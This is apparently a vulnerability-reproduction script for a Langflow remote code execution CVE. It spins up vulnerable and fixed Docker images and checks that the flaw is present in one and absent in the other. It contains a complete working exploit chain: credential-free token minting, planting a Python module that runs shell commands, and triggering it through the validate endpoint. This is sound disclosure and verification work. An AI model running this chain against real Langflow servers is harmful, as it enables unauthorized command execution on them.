#!/bin/bash
# CVE-2026-93674 - Langflow OSS <= 1.12.2 remote unauthenticated code execution
#
# Root cause: lfx.custom.validate.validate_code() (reachable remotely at
# POST /api/v1/validate/code) calls importlib.import_module() on every import
# statement in attacker-supplied code, EXECUTING the module's top-level code
# inside the Langflow server process during what is documented as a
# validation-only endpoint. Fixed in 1.12.3 by commit
# 461506ac2f38f70a994b5140572b876448c11e4c ("stop validate_code from executing
# imports", H1-3992099 / LE-2683), which replaces import_module() with
# importlib.util.find_spec() (locate only, never execute).
#
# Remote unauthenticated chain (default OSS single-user config,
# LANGFLOW_AUTO_LOGIN=true):
#   1. GET  /api/v1/auto_login        -> superuser access token, NO credentials
#   2. POST /api/v1/custom_component  -> build_custom_component_template()
#      exec()s the attacker component class body; a class-level statement
#      plants a malicious module into the server-writable site-packages
#      (/app/.venv/lib/python3.14/site-packages, owned by uid 1000).
#   3. POST /api/v1/validate/code {"code":"import <planted>"}
#      -> importlib.import_module() runs the planted module: arbitrary OS
#      command execution as the Langflow server user. The planted module
#      raises RuntimeError(<command output>); the endpoint echoes it back in
#      the HTTP 500 "detail" field, exfiltrating command output in-band.
#
# Evidence model:
#   * 2 fresh vulnerable containers (langflowai/langflow@sha256:79c02794...,
#     v1.12.2): each attempt must (a) obtain a token with no credentials,
#     (b) plant the module over HTTP, (c) receive HTTP 500 with
#     "PLANTED_EXEC:uid=1000(user)..." in the response body, and (d) leave a
#     unique marker file inside the container written by the planted module.
#   * 2 fresh fixed containers (langflowai/langflow@sha256:34055a07...,
#     v1.12.3): identical attacker procedure; the plant still succeeds (custom
#     components are a supported feature) but validate/code must NOT execute
#     the module (HTTP 200, empty errors, no marker file).
#
# Exit 0 = vulnerability confirmed (vulnerable/fixed divergence proven).
# Exit 1 = not reproduced.

set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
export PRUVA_ROOT="$ROOT"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
ATTEMPTS="$LOGS/repro/attempts"
mkdir -p "$LOGS" "$REPRO_DIR" "$ATTEMPTS"
cd "$ROOT"

MAIN_LOG="$LOGS/reproduction_steps.log"
: > "$MAIN_LOG"
log() { echo "[$(date -u +%H:%M:%S)] $*" | tee -a "$MAIN_LOG"; }

VULN_IMAGE="langflowai/langflow@sha256:79c02794adebe82d756b7152ce4feebe4a5426e1faf3fe5b5d0dd08f304510c4"   # 1.12.2
FIXED_IMAGE="langflowai/langflow@sha256:34055a07d446de51760e28dab6332e22624e5f48dca611567779992fc32c5ec0"  # 1.12.3
FIX_COMMIT="461506ac2f38f70a994b5140572b876448c11e4c"  # fix(security): stop validate_code from executing imports (#15201)
VULN_TAG_SHA="c979695ce660285b267b3e7c6788e91aade3c0fe"  # v1.12.2
FIXED_TAG_SHA="fec71dca901949c09ed4d63315804337cd2eb13d" # v1.12.3

RUN_ID="$(date +%s)-$$"
SITE_PACKAGES="/app/.venv/lib/python3.14/site-packages"

CONTAINERS=()
cleanup() {
  for c in "${CONTAINERS[@]:-}"; do
    [ -n "$c" ] && docker rm -f "$c" >/dev/null 2>&1 || true
  done
}
trap cleanup EXIT

# ---------------------------------------------------------------------------
# Preflight: project cache context (repo used only for source identity notes;
# the runtime proof is image-backed and digest-pinned).
CACHE_CTX="$ROOT/project_cache_context.json"
if [ -f "$CACHE_CTX" ]; then
  PC_DIR=$(jq -r '.project_cache_dir // empty' "$CACHE_CTX" 2>/dev/null || true)
  PC_PREP=$(jq -r '.prepared // false' "$CACHE_CTX" 2>/dev/null || true)
  if [ "$PC_PREP" = "true" ] && [ -n "$PC_DIR" ] && [ -d "$PC_DIR/repo" ]; then
    log "project cache present at $PC_DIR/repo (source reference only)"
    git -C "$PC_DIR/repo" rev-parse v1.12.2 v1.12.3 >>"$MAIN_LOG" 2>&1 || true
  fi
fi

command -v docker >/dev/null || { log "FATAL: docker not available"; exit 1; }
command -v jq >/dev/null || { log "FATAL: jq not available"; exit 1; }

{
  echo "vuln_image=$VULN_IMAGE"
  echo "fixed_image=$FIXED_IMAGE"
  echo "fix_commit=$FIX_COMMIT"
  echo "vuln_tag_sha=$VULN_TAG_SHA (v1.12.2)"
  echo "fixed_tag_sha=$FIXED_TAG_SHA (v1.12.3)"
  docker image inspect "$VULN_IMAGE" -f 'vuln_id={{.Id}}' 2>/dev/null || echo "vuln image not local yet"
  docker image inspect "$FIXED_IMAGE" -f 'fixed_id={{.Id}}' 2>/dev/null || echo "fixed image not local yet"
} | tee "$LOGS/repro/image_identity.txt" >>"$MAIN_LOG"

for img in "$VULN_IMAGE" "$FIXED_IMAGE"; do
  if ! docker image inspect "$img" >/dev/null 2>&1; then
    log "pulling $img"
    docker pull "$img" | tail -2 | tee -a "$MAIN_LOG"
  fi
done
docker image inspect "$VULN_IMAGE" -f 'vuln_id={{.Id}}' >>"$LOGS/repro/image_identity.txt"
docker image inspect "$FIXED_IMAGE" -f 'fixed_id={{.Id}}' >>"$LOGS/repro/image_identity.txt"

start_container() { # name port image
  local name=$1 port=$2 image=$3
  docker rm -f "$name" >/dev/null 2>&1 || true
  docker run -d --name "$name" -p "${port}:7860" -e LANGFLOW_AUTO_LOGIN=true "$image" >>"$MAIN_LOG" 2>&1
  CONTAINERS+=("$name")
  local i code
  for i in $(seq 1 60); do
    code=$(curl -s -o /dev/null -w '%{http_code}' "http://127.0.0.1:${port}/health" 2>/dev/null || true)
    [ "$code" = "200" ] && { log "$name healthy on :$port"; return 0; }
    sleep 5
  done
  log "FATAL: $name failed to become healthy"
  docker logs "$name" 2>&1 | tail -20 >>"$MAIN_LOG" || true
  return 1
}

# run_attempt <role:vuln|fixed> <attempt_no> <port> <image>
run_attempt() {
  local role=$1 num=$2 port=$3 image=$4
  local name="pruva-cve674-${role}-${num}-${RUN_ID}"
  local base="http://127.0.0.1:${port}"
  local pfx="$ATTEMPTS/${role}_attempt_${num}"
  local module="pruva_planted_$(echo "$RUN_ID" | tr -cd '0-9')_${num}"
  local marker_token="PRUVA-CVE-2026-93674-${RUN_ID}-${role^^}-${num}"
  local marker_path="/tmp/${module}.marker"

  start_container "$name" "$port" "$image" || return 1

  # Step 1: unauthenticated token minting (no credentials supplied)
  curl -s "$base/api/v1/auto_login" > "${pfx}_autologin_response.json"
  local token
  token=$(jq -r '.access_token // empty' "${pfx}_autologin_response.json")
  if [ -z "$token" ]; then
    log "[$role-$num] FAIL: auto_login did not return a token"
    return 1
  fi
  log "[$role-$num] obtained superuser token with NO credentials (auto_login)"

  # Step 2: plant malicious module via custom_component class-body exec
  local plant_code
  plant_code=$(cat <<PYEOF
import pathlib
from langflow.custom import CustomComponent
_payload = (
    "import pathlib, subprocess\n"
    "_out = subprocess.check_output('id', shell=True).decode().strip()\n"
    "pathlib.Path('${marker_path}').write_text('${marker_token} ' + _out + chr(10))\n"
    "raise RuntimeError('PLANTED_EXEC:${marker_token}:' + _out)\n"
)
class Planter(CustomComponent):
    display_name = "Planter"
    description = "planter"
    _w = pathlib.Path("${SITE_PACKAGES}/${module}.py").write_text(_payload)
    def build(self):
        return None
PYEOF
)
  jq -n --arg c "$plant_code" '{code:$c}' > "${pfx}_plant_request.json"
  curl -s -o "${pfx}_plant_response.json" -w '%{http_code}' -X POST "$base/api/v1/custom_component" \
    -H "Authorization: Bearer $token" -H 'Content-Type: application/json' \
    --data-binary @"${pfx}_plant_request.json" > "${pfx}_plant_http_code.txt"
  log "[$role-$num] plant HTTP=$(cat "${pfx}_plant_http_code.txt")"

  # Verify the module landed (same on both versions; custom components are a feature)
  if ! docker exec "$name" test -f "${SITE_PACKAGES}/${module}.py"; then
    log "[$role-$num] FAIL: planted module not present in container"
    return 1
  fi
  docker exec "$name" cat "${SITE_PACKAGES}/${module}.py" > "${pfx}_planted_module.py.txt"
  log "[$role-$num] planted module ${module}.py confirmed in site-packages"

  # Step 3 (CVE trigger): validate/code import execution
  jq -n --arg c "import ${module}" '{code:$c}' > "${pfx}_trigger_request.json"
  curl -s -o "${pfx}_trigger_response.json" -w '%{http_code}' -X POST "$base/api/v1/validate/code" \
    -H "Authorization: Bearer $token" -H 'Content-Type: application/json' \
    --data-binary @"${pfx}_trigger_request.json" > "${pfx}_trigger_http_code.txt"
  local tcode
  tcode=$(cat "${pfx}_trigger_http_code.txt")
  log "[$role-$num] trigger HTTP=$tcode response=$(head -c 200 "${pfx}_trigger_response.json")"

  # Marker retrieval (written by the planted module ONLY if executed)
  if docker exec "$name" test -f "$marker_path" 2>/dev/null; then
    docker exec "$name" cat "$marker_path" > "${pfx}_marker.txt"
  else
    : > "${pfx}_marker.txt"
  fi
  docker logs "$name" > "${pfx}_container.log" 2>&1 || true

  local marker_present="no" exec_in_response="no"
  grep -q "$marker_token" "${pfx}_marker.txt" && marker_present="yes"
  grep -q "PLANTED_EXEC:${marker_token}" "${pfx}_trigger_response.json" && exec_in_response="yes"
  log "[$role-$num] marker_present=$marker_present exec_in_response=$exec_in_response"

  if [ "$role" = "vuln" ]; then
    # Vulnerable expectation: HTTP 500, PLANTED_EXEC in body (in-band command
    # output exfiltration), marker written inside the container.
    if [ "$tcode" = "500" ] && [ "$exec_in_response" = "yes" ] && [ "$marker_present" = "yes" ]; then
      log "[$role-$num] VULNERABLE: validate/code executed attacker module; marker: $(cat "${pfx}_marker.txt")"
      return 0
    fi
    log "[$role-$num] NOT REPRODUCED on vulnerable image"
    return 1
  else
    # Fixed expectation: HTTP 200, no execution, no marker.
    if [ "$tcode" = "200" ] && [ "$exec_in_response" = "no" ] && [ "$marker_present" = "no" ]; then
      log "[$role-$num] FIXED: validate/code located but did NOT execute the module"
      return 0
    fi
    log "[$role-$num] UNEXPECTED behavior on fixed image"
    return 1
  fi
}

VULN_OK=0
FIXED_OK=0

run_attempt vuln 1 7860 "$VULN_IMAGE" && VULN_OK=$((VULN_OK+1)) || true
run_attempt vuln 2 7862 "$VULN_IMAGE" && VULN_OK=$((VULN_OK+1)) || true
run_attempt fixed 1 7861 "$FIXED_IMAGE" && FIXED_OK=$((FIXED_OK+1)) || true
run_attempt fixed 2 7863 "$FIXED_IMAGE" && FIXED_OK=$((FIXED_OK+1)) || true

log "summary: vuln_ok=$VULN_OK/2 fixed_ok=$FIXED_OK/2"

# ---------------------------------------------------------------------------
# Runtime manifest (all listed artifacts are finalized above)
python3 - "$REPRO_DIR/runtime_manifest.json" "$ATTEMPTS" "$LOGS/repro/image_identity.txt" \
        "$VULN_IMAGE" "$FIXED_IMAGE" "$VULN_TAG_SHA" "$FIXED_TAG_SHA" "$FIX_COMMIT" \
        "$VULN_OK" "$FIXED_OK" <<'PYEOF'
import hashlib, json, sys

manifest_path, attempts, identity_log = sys.argv[1], sys.argv[2], sys.argv[3]
vuln_image, fixed_image, vuln_sha, fixed_sha, fix_commit = sys.argv[4:9]
vuln_ok, fixed_ok = int(sys.argv[9]), int(sys.argv[10])

def sha256_of(p):
    with open(p, "rb") as f:
        return hashlib.sha256(f.read()).hexdigest()

artifacts = []
sha_map = {}

def add(bundle_rel):
    import os
    full = os.path.join(os.path.dirname(os.path.dirname(manifest_path)), bundle_rel)
    if os.path.isfile(full):
        artifacts.append(bundle_rel)
        sha_map[bundle_rel] = sha256_of(full)

for role in ("vuln", "fixed"):
    for n in (1, 2):
        pfx = f"logs/repro/attempts/{role}_attempt_{n}"
        for suffix in ("_autologin_response.json", "_plant_request.json", "_plant_response.json",
                       "_trigger_request.json", "_trigger_response.json", "_marker.txt",
                       "_planted_module.py.txt", "_container.log"):
            add(pfx + suffix)
add("logs/repro/image_identity.txt")

vuln_image_digest = vuln_image.split("@", 1)[1].removeprefix("sha256:")
manifest = {
    "entrypoint_kind": "endpoint",
    "entrypoint_detail": "POST /api/v1/validate/code (lfx validate_code executes attacker-supplied imports via importlib.import_module); plant via POST /api/v1/custom_component class-body exec; unauthenticated token via GET /api/v1/auto_login (LANGFLOW_AUTO_LOGIN=true, package default)",
    "service_started": True,
    "healthcheck_passed": True,
    "target_path_reached": vuln_ok == 2,
    "runtime_stack": ["docker", "langflowai/langflow (fastapi/uvicorn/gunicorn, python 3.14)"],
    "target_identity": {
        "repository_url": "https://github.com/langflow-ai/langflow",
        "commit_sha": vuln_sha,
        "target_digest": vuln_image_digest,
        "runtime_digest": vuln_image_digest,
        "platform": "linux",
        "architecture": "x86_64",
    },
    "proof_artifacts": artifacts,
    "artifact_sha256": sha_map,
    "notes": (
        f"vulnerable_attempts_passed={vuln_ok}/2 (HTTP 500 + PLANTED_EXEC in-band command output + "
        f"container marker); fixed_attempts_passed={fixed_ok}/2 (HTTP 200, no execution, no marker). "
        f"fix_commit={fix_commit}; fixed_tag_sha={fixed_sha} (v1.12.3)."
    ),
}
with open(manifest_path, "w") as f:
    json.dump(manifest, f, indent=2)
print("runtime_manifest.json written")
PYEOF

if [ "$VULN_OK" -eq 2 ] && [ "$FIXED_OK" -eq 2 ]; then
  log "RESULT: CVE-2026-93674 CONFIRMED (2/2 vulnerable executions, 2/2 fixed non-executions)"
  exit 0
fi
log "RESULT: NOT CONFIRMED (vuln_ok=$VULN_OK fixed_ok=$FIXED_OK)"
exit 1
